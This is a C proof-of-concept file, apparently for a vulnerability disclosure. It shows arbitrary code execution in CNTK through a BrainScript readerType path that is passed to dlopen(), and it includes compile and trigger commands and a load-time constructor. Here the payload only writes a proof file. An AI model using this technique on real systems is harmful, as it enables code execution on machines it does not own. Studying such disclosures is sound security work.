| /* | |
| * PoC: CNTK BrainScript dlopen() Arbitrary Code Execution | |
| * ======================================================== | |
| * | |
| * This shared library is loaded by CNTK when a BrainScript config specifies: | |
| * readerType = "/tmp/evil" | |
| * | |
| * CNTK appends "-VERSION.so" and calls dlopen(), which triggers the | |
| * constructor function below. | |
| * | |
| * Vulnerability: DataReader.cpp:102 → File.cpp:1087 | |
| * Plugin::Load(readerType, ...) → dlopen(soName.c_str(), RTLD_LAZY) | |
| * | |
| * Compile: | |
| * gcc -shared -fPIC -o /tmp/evil-2.7.so evil_reader.c | |
| * | |
| * Trigger: | |
| * cntk configFile=poc_dlopen.bs | |
| */ | |
| /* Constructor runs automatically when dlopen() loads this library */ | |
| __attribute__((constructor)) | |
| void exploit_init(void) { | |
| FILE *f = fopen("/tmp/cntk_rce_proof.txt", "w"); | |
| if (f) { | |
| fprintf(f, "CNTK BrainScript dlopen RCE triggered!\n"); | |
| fprintf(f, "PID: %d\n", getpid()); | |
| fprintf(f, "UID: %d\n", getuid()); | |
| fclose(f); | |
| } | |
| } | |
| /* | |
| * Dummy exports required by CNTK. | |
| * Plugin::LoadInternal() calls dlsym() for "GetReaderF" or "GetReaderD". | |
| * These must exist to avoid RuntimeError, but the constructor already | |
| * executed arbitrary code by this point. | |
| */ | |
| void GetReaderF(void** reader) { if (reader) *reader = NULL; } | |
| void GetReaderD(void** reader) { if (reader) *reader = NULL; } | |